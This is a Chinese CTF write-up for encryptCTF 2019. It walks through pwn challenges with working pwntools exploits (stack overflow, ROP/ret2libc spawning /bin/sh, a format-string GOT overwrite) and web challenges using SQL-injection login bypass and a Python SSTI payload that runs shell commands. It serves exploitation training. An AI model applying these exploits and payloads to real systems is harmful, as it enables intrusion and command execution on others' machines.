encryptCTF2019 pwn&web writeup

2019-04-07 约 815 字 预计阅读 4 分钟

声明:本文 【encryptCTF2019 pwn&web writeup】 由作者 iptabLs 于 2019-04-07 20:44:00 首发 先知社区 曾经 浏览数 99 次

感谢 iptabLs 的辛苦付出!

encryptCTF2019 pwn&web

周中跟着大佬们打了一场国外的CTF,题目不是很难,不过很适合新人练练手。其中我AK了pwn和web的题目,pwn题难度较低,对我这些萌新十分友好,web带点脑洞,其中两题python站的题目还是不错的,可以借此熟悉一下virtualenv的操作和ssti注入。

pwn

pwn0

[*] '/home/kira/pwn/encryptCTF/pwn0'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-44h]
  char s1; // [esp+5Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  puts("How's the josh?");
  gets(&s);
  if ( !memcmp(&s1, "H!gh", 4u) )
  {
    puts("Good! here's the flag");
    print_flag();
  }
  else
  {
    puts("Your josh is low!\nBye!");
  }
  return 0;
}

思路:只要s1内容为H!hg即可getflag,那么直接在输入s的时候溢出覆盖s1就行了。

# kira @ k1r4 in ~/pwn/encryptCTF on git:master x [14:04:34]
$ nc 104.154.106.182 1234
How's the josh?
H!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!gh
Good! here's the flag
encryptCTF{L3t5_R4!53_7h3_J05H}

pwn1

[*] '/home/kira/pwn/encryptCTF/pwn1'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+10h] [ebp-80h]

  setvbuf(stdout, 0, 2, 0);
  printf("Tell me your name: ");
  gets(&s);
  printf("Hello, %s\n", &s);
  return 0;
}

思路:程序没开canary,自带getshell的后门函数,直接栈溢出覆盖ret地址即可。

from pwn import *
p = remote('104.154.106.182', 2345)
p.sendline('a'*140+p32(0x80484AD))
p.interactive()

pwn2

[*] '/home/kira/pwn/encryptCTF/pwn2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+10h] [ebp-20h]

  setvbuf(stdout, 0, 2, 0);
  printf("$ ");
  gets(&s);
  if ( !strcmp(&s, "ls") )
    run_command_ls();
  else
    printf("bash: command not found: %s\n", &s);
  puts("Bye!");
  return 0;
}

思路:题目里面自带system,直接栈溢出组ROP。先用gets读入/bin/sh,然后调用system

from pwn import *
elf = ELF('./pwn2')
p = remote('104.154.106.182', 3456)
pr = 0x08048546 # pop ebp ; ret
bss = 0x0804A040
payload = p32(elf.plt['gets'])+p32(pr)+p32(bss)+p32(elf.plt['system'])+p32(0)+p32(bss)
p.sendlineafter('$ ','a'*44+payload)
p.sendline('/bin/sh\x00')
p.interactive()

pwn3

[*] '/home/kira/pwn/encryptCTF/pwn3'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+10h] [ebp-80h]

  setvbuf(stdout, 0, 2, 0);
  puts("I am hungry you have to feed me to win this challenge...\n");
  puts("Now give me some sweet desert: ");
  gets(&s);
  return 0;
}

思路:这次程序没有system函数,需要泄露libc地址,然后ret2libc,远程泄露gets地址最低三位是e60,可以查到libc版本为libc6_2.19-0ubuntu6.14_i386。首先构造一个ROP来泄露libc地址,然后返回main函数,这里有个坑点是第二次溢出需要填充的垃圾字符数量不一样,具体可以调试看看,然后再组一次ROP,调用system

from pwn import *
libc = ELF('./libc6_2.19-0ubuntu6.14_i386.so')
elf = ELF('./pwn3')
p = remote('104.154.106.182', 4567)
main = 0x0804847D
p.sendlineafter(': \n','a'*140+p32(elf.plt['puts'])+p32(main)+p32(elf.got['gets']))
libc.address = u32(p.recv(4)) - libc.sym['gets']
print hex(libc.address)
p.sendlineafter(': \n','a'*132+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))
p.interactive()

pwn4

[*] '/home/kira/pwn/encryptCTF/pwn4'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-84h]
  unsigned int v5; // [esp+9Ch] [ebp-4h]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  puts("Do you swear to use this shell with responsility by the old gods and the new?\n");
  gets(&s);
  printf(&s);
  printf("\ni don't belive you!\n%s\n", &s);
  return 0;
}

思路:题目开了canary,不能直接进行栈溢出。有一个很明显的格式化字符串漏洞,而且程序自带一个getshell的后门,可以用格式化字符串修改printf@got.plt为后门函数。

# kira @ k1r4 in ~/pwn/encryptCTF on git:master x [19:33:56]
$ ./pwn4
Do you swear to use this shell with responsility by the old gods and the new?

aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
aaaa(nil).0x2.(nil).0xffe571ce.0x1.0xc2.0x61616161.0x252e7025.0x70252e70.0x2e70252e
i don't belive you!
aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

简单测试了一下,可以发现格式化字符的offset是7,因为程序是32位的,可以直接用pwntoolsfmtstr_payload函数。

from pwn import *
elf = ELF('./pwn4')
p = remote('104.154.106.182', 5678)

payload = fmtstr_payload(7,{elf.got['printf']:0x0804853D})
p.sendlineafter('new?\n',payload)
p.interactive()

web

Sweeeeeet

Do you like sweets?

http://104.154.106.182:8080

author: codacker50

在响应包头得到一个flag,但是提交提示incorrect。

Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D

随后在请求包的cookie里面发现一个UID=f899139df5e1059396431415e770c6dd,查了一下为md5(100),于是使用burp进行0-999md5后爆破UID

Slash Slash

题目给了一个flask站的源码,https://ctf.encryptcvs.cf/files/43338088b56bf932bed9511a18168fd9/handout_slashslash.7z

查看application.py,发现flag应该写进环境变量,而且使用了virtualenv设置虚拟环境,题目还提供了virtualenv的学习视频。

import os
from flask import Flask, render_template, jsonify

app = Flask(__name__)

'''
 secret_key using python3 secrets module
'''
app.secret_key = "9d367b3ba8e8654c6433379763e80c6e"

'''
Learn about virtualenv here:
https://www.youtube.com/watch?v=N5vscPTWKOk&list=PL-osiE80TeTt66h8cVpmbayBKlMTuS55y&index=7
'''

FLAG = os.getenv("FLAG", "encryptCTF{}")

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/encryptCTF', methods=["GET"])
def getflag():
        return jsonify({
            'flag': FLAG
        })

if __name__ == '__main__':
    app.run(debug=False)

安装一下virtualenv,然后运行此虚拟环境,但是发现根本没有$FLAG

# kira @ k1r4 in ~/web/handout_slashslash/app [21:08:40]
$ source ./env/bin/activate
(env)
# kira @ k1r4 in ~/web/handout_slashslash/app [21:08:57]
$ echo $FLAG

直接查看一下activate文件,发现最后有一句被注销掉了,RkxBRwo=解码就是FLAG

export $(echo RkxBRwo= | base64 -d)="ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg=="

那么直接解base64就getflag了。

# kira @ k1r4 in ~/web/handout_slashslash/app [21:09:01]
$ echo ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg==|base64 -d
encryptCTF{comments_&_indentations_makes_johnny_a_good_programmer}

当然,将此行注销去掉,然后修改一下代码为FLAG = os.getenv("FLAG"),就可以通过访问http://127.0.0.1:5000/encryptCTF得到flag

virtualenv的使用教程可以参考以下链接

vault

i heard you are good at breaking codes, can you crack this vault?

http://104.154.106.182:9090

author: codacker

打开地址后为一个登陆界面,随手试了一发万能密码username=123' or 1#&password=123' or 1#,成功登陆,返回一个二维码,扫描后为一个YouTube地址。

猜想flag可能存在数据库,手工测试一下发现可以注入

username=123' or 1=1#&password=123   # 成功登陆
username=123' or 1=2#&password=123   # 登陆失败

直接使用sqlmap跑出管理员密码,但是登陆后仍然是那个二维码,并没有flag

+----+----------+----------------------------------+ 
| id | username | password                         | 
+----+----------+----------------------------------+ 
| 1  | admin    | 21232f297a57a5a743894a0e4a801fc3 | 
+----+----------+----------------------------------+

在数据库翻了半天,原来成功登陆的cookie就是flag,无语了。。。。

Set-Cookie: SESSIONID=ZW5jcnlwdENURntpX0g0dDNfaW5KM2M3aTBuNX0%3D

解码后为:

encryptCTF{i_H4t3_inJ3c7i0n5}

Env

Einstein said, "time was relative, right?"

meme 1  https://i.imgur.com/LYS3TYi.jpg
meme 2  https://i.imgur.com/FcsusMX

http://104.154.106.182:6060

Author: maskofmydisguise

第一张图片里面提示了两个目录/home/whatsthetime/

访问http://104.154.106.182:6060/whatsthetime提示Almost there...or are you?

然后访问http://104.154.106.182:6060/whatsthetime/1,获得一个新提示

查了一下THE EPOCH TIME是指1970年1月1日00:00:00 UTC,猜测后面的数字要为当前时间的时间戳才能出flag

import time
import requests

url = 'http://104.154.106.182:6060/whatsthetime/'
r = requests.get(url+str(int(time.time())))
print r.content

写了一个简单的脚本尝试一下,发现不行,估计服务器时间跟我本地有误差,最近决定拿burp进行爆破,我用当前时间戳减去100,然后每次加1进行爆破,很快就出结果了,如下图所示。

repeaaaaaat

Can you repeaaaaaat?

http://104.154.106.182:5050

author: codacker

访问链接后出现一大堆logo,查看源码发现了一串base64,<!-- d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK -->,解码为what_are_you_searching_for

然后访问http://104.154.106.182:5050/what_are_you_searching_for,又得到一串base64,解码后为一个视频链接https://www.youtube.com/watch?v=5rAOyh7YmEc

HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 02 Apr 2019 13:22:51 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 429

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>FLAG</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="main.css">
    <script src="main.js"></script>
</head>
<body>
    <h1> aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01ckFPeWg3WW1FYwo= </h1>
</body>
</html>

看完这个视频的我一脸懵逼,这是什么鬼???

迷惘几分钟后,发现返回包server字段比较陌生,Google一下Gunicorn

Gunicorn 'Green Unicorn' is a Python WSGI HTTP Server for UNIX. It's a pre-fork worker model. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resources, and fairly speedy.

可见这个网站是一个python站,看到python站,首先想到的是SSTI模板注入,简单测试了一下发现并没有反应

后面测试的时候发现主页下面的base64变了另外一个<!-- Lz9zZWNyZXQ9ZmxhZw== -->,解码为:/?secret=flag,然后再测试一下发现可行了。

拿出一个常用的payload进行测试,返现返回500错误,但至少证明是成功运行了,可能本地的环境和远程的有些微差别。

222"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}

一段一段地进行删除测试,发现222"".__class__.__mro__[-1].__subclasses__()[117]}}的返回结果跟本地不一样

本地测试结果

>>> "".__class__.__mro__[-1].__subclasses__()[117]
<class 'os._wrap_close'>

远程返回结果

<class 'dict_valueiterator'>

删掉序号直接查看返回结果,发现是存在这个class的

那么修改一下payload为222"".__class__.__mro__[-1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}},可正常返回结果。

最后payload为:

222"".__class__.__mro__[-1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat+flag*').read()")}}

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

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